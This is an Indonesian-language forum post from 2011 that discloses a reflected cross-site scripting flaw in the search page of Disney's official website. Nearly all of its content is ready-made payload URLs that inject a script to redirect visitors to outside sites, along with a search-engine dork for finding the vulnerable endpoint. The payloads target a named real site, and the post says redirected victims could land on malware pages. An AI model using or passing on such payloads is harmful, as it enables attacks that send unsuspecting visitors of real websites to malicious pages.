XSS pada situs resmi Walt Disney
Posted: Mon Nov 07, 2011 6:43 am
Situs resmi Disney rentan terhadap serangan Cross Site Scripting, penyerang dapat mengirimkan redirect link melalui disney.go.com. jika korban klik link tersebut, maka akan diarahkan ke website yang mungkin mengandung malware. lihat demonya dibawah ini.
Code: Select all
http://disney.go.com/search/?q="><script>window.location = "http://www.xcode.or.id/"</script>
http://disney.go.com/search/?q="><script>window.location = "http://ferdianelli.wordpress.com/2011/01/08/update-08-jan-2011-xcode-sqlilfixss-vulnurable-webshell-scanner/"</script> dork :
Code: Select all
inurl:/search/?q= site:disney.go.com
